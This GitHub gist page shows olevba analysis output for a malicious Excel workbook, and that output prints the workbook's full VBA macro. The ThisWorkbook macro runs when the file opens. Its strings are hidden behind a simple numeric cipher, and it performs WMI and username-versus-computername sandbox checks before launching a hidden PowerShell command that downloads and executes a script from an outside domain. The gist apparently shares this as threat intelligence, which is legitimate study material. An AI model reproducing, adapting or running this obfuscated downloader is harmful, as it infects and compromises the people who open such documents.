Skip to content

Instantly share code, notes, and snippets.

@seclib
Created September 21, 2018 06:27
Show Gist options
  • Save seclib/4ed9e7f41ad4c1b41b9232c43649d0d1 to your computer and use it in GitHub Desktop.
Save seclib/4ed9e7f41ad4c1b41b9232c43649d0d1 to your computer and use it in GitHub Desktop.
VBA XLS Threat
olevba3 0.53.1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OpX:MAS-H--- 4ae63b5cd1f0503d1d858e2f12de51c5218d4ccddef1beae0d1c7962b1783003
===============================================================================
FILE: 4ae63b5cd1f0503d1d858e2f12de51c5218d4ccddef1beae0d1c7962b1783003
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function November(Tuesday)
November = Chr(Tuesday - 19)
End Function
Function October(Wednesday)
October = Left(Wednesday, 7 - 4)
End Function
Function April(Friday)
April = Right(Friday, Len(Friday) - 3)
End Function
Function June(Thursday)
Do
Tomorrow = Tomorrow + November(October(Thursday))
Thursday = April(Thursday)
Loop While Len(Thursday) > 9 - 19 + 10
June = Tomorrow
End Function
Sub Workbook_Open()
On Error Resume Next
Set prosopite_laryngopharynx = GetObject(June("138124129128122128135134077")).Get(June("106124129070069114099124129122102135116135136134065084119119133120134134080058127130118116135124130129065128124118133130134130121135065118130128058063101120134130127137120084119119133120134134097116128120134080103133136120"))
With prosopite_laryngopharynx
If .StatusCode = 53 - 20 - 33 Then
Erzurum_memorda = False
ElseIf .StatusCode > 15 - 30 + 15 Then
Erzurum_memorda = False
Else
Erzurum_memorda = True
End If
End With
If Environ$(June("136134120133119130128116124129")) = LCase(Environ$(June("118130128131136135120133129116128120"))) Then
Thalamiflorae_lashingly = False
Else
Thalamiflorae_lashingly = True
End If
If Erzurum_memorda = True And Thalamiflorae_lashingly = True Then
Today = "131130138120133134123120127127065120139120051064088139120118051085140131116134134051064097130099051064138051091124119119120129051064086130128128116129119051124120139059059097120138064098117125120118135051102140134135120128065097120135065106120117086127124120129135060065087130138129127130116119102135133124129122059058123135135131077066066123123130070065118130128066094101095066137124120138065131123131082128130119120080119120134126135130131058060060"
Yesterday = June(Today)
GetObject(June("138124129128122128135134077")).Get(June("106124129070069114099133130118120134134")).Create Yesterday, September, January, March
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment